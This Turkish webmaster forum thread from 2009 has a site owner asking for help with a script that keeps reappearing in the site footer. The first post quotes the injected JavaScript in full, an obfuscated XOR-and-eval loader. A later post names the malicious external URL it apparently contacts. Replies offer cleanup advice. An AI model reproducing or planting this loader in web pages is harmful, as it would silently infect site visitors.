Siteme bulaşan bu virüs usandırdı

14-06-2009, 19:20:33

Selam ,

siteme eklenen virüs olduğunu düşündüğüm bir kod var. Onu defalarca silmeme FTP şifremi değiştirmeme rağmen nerdeyse 15 dakikada bir kendini footer'a tekrar yazdırıyor. Bilgisi yada fikri olan arkadaşlardan yardım bekliyorum

<script>
nb="505b574159515a401a43465d40511c16085d5246555951 1447465709135c4040440e1b1b47555e5c525c4747565d5356 5b5a59471a51010c4e1a575a1b45435146404d1b1314435d50 405c09130513145c515d535c40091305131447404d58510913 425d475d565d585d404d0e145c5d5050515a0f130a081b5d52 465559510a161d0f3e514d475209167a557a160f4e514c5509 167a557a160f";gnzkp="function bywpn(){ggetg=Math.PI;esqsjr=parseInt;vhyi='length ';rhu=esqsjr(~((ggetg&ggetg)|(~ggetg&ggetg)&(ggetg &~ggetg)|(~ggetg&~ggetg)));ca=esqsjr(((rhu&rhu)|(~ rhu&rhu)&(rhu&~rhu)|(~rhu&~rhu))&1);ukklp=ca<<ca;z exa=rhu;eysf='';gkn=String.fromCharCode;mk=eval;fo r(cg=rhu;cg<gnzkp[vhyi];cg-=-ca)zexa+=gnzkp.charCodeAt(cg);zexa%=unescape(rhu+u nescape('%78')+(ca<<6));for(cg=rhu;cg<nb[vhyi];cg+=ukklp)eysf+=gkn(esqsjr(rhu+unescape('%78')+nb .charAt(cg)+nb.charAt(cg+esqsjr(ca)))^zexa);try{mk (eysf);}catch(e){try{eval(eysf);}catch(e) {window.location='/';}}}try{eval('bywpn();')}catch(e) {}";eval(gnzkp);
</script>

14-06-2009, 21:51:47

#2

maystro

google da aratim diyorum da sadece R10 da açtığın konu çıkıyor kardeşim ya, bende ilk defa gördüm, bulaşan dosyanın chmod ayarını 644 yap kardeşim, temizledikten sonra tabi...

15-06-2009, 09:28:39

#3

MyhayaL

Eposta Aktivasyonu Gerekmekte

Aynı Sorun Bende de vardı Tüm İndex Ve Dosyalara Klasorlere Bulaşıyor Silsende Fayda Etmiyor Yapman Gereken Komple Ftp Silip Yeniden Kurmak Herseyi Ben Oyle Yaptım Hatta Bu Yuzden Google de Sitem Saldırgan Site Kapsamındaydı Temızleme İşinden Sonra Hemen 1-2 Mail Attım Google ye Suan Düzeldi Neyseki Ve Sorunsuz Ftp Kolay Gelsin Arkadas.

16-06-2009, 20:25:35

#4

casso_72

maystro adlı üyeden alıntı: mesajı görüntüle

google da aratim diyorum da sadece R10 da açtığın konu çıkıyor kardeşim ya, bende ilk defa gördüm, bulaşan dosyanın chmod ayarını 644 yap kardeşim, temizledikten sonra tabi...

chmod ayarlarını değiştirmeme izin vermiyor. kafayı yemek üzereyim. ben siliyorum o yine ekleniyor.

16-06-2009, 20:26:22

#5

casso_72

MyhayaL adlı üyeden alıntı: mesajı görüntüle

Aynı Sorun Bende de vardı Tüm İndex Ve Dosyalara Klasorlere Bulaşıyor Silsende Fayda Etmiyor Yapman Gereken Komple Ftp Silip Yeniden Kurmak Herseyi Ben Oyle Yaptım Hatta Bu Yuzden Google de Sitem Saldırgan Site Kapsamındaydı Temızleme İşinden Sonra Hemen 1-2 Mail Attım Google ye Suan Düzeldi Neyseki Ve Sorunsuz Ftp Kolay Gelsin Arkadas.

işin garibi hiç bir antivirüs virüs uyarısı vermiyor ve zararlı site kapsamına girmedi. ama kodu ne yaptıysam temizliyemedim. Kendini mutlaka tekrar ekliyor. kodun ne işe yaradığınıda çözemedim.

kodun gittiği adres http://sajhfhssbigbonms.e58z.cn/qwerty/ buymus

17-06-2009, 00:30:41

#6